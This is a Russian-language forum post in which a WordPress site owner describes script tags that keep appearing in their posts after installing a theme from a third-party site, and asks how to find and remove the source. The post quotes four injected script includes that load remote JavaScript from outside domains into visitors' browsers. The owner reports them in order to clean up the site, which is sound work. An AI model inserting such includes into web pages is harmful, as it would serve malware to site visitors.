В общем. Сгрешил я и скачал тему с одного сайта (качаю часто оттуда, проблем не было)
Недавно начал замечать, при редактировании уже опубликованных записей, в тексте появляется код. Всегда в конце текста он идёт. Так как он в тегах script то я его заметил, только когда перешел в режим редактора текст.
Код добавляется следующий:
<script src="//s3.amazonaws.com/js-cache/145f309ae16975ba1c.js"></script>
<script src="http://netanalitics.space/addons/lnkr5.min.js" type="text/javascript"></script>
<script src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51859x5215x&r=47" type="text/javascript"></script>
<script src="http://eluxer.net/code?id=105&subid=51859_5215_" type="text/javascript"></script>
Появляется рандомно в страницах, записях и ВЛЕЗЕТ где есть редактор текста. Есть в плагине окошко редакции? Оно и туда полезет.
Где то нет еще кода, где то есть уже, а где то сразу 4 абзаца такой ереси стоит. Периодически чищу руками.
Проверил сайт антивирусами - тишина. Искал код по содержимому - тишина. Поиск по фразе base64 не дал результата. Нашлось несколько файлов, но они отношения к этому ни как не имеют.
Пользователей других, кроме меня нет (
редакции текстов так же говорят, что не было после меня изменений).
В общем уже не знаю что делать. Как можно еще найти где стоит этот код, чтобы его удалить?
П.С. по ходу, он несет вред именно посетителям.
На некоторых сайтах (на скринах яндекс) у меня в консоли начались появляться ошибки с этими же доменами. Через куки или кэш пролазит
Скрины ошибок консоли закидываю ниже)
Если открыть скрин в новой вкладке - всё будет видно.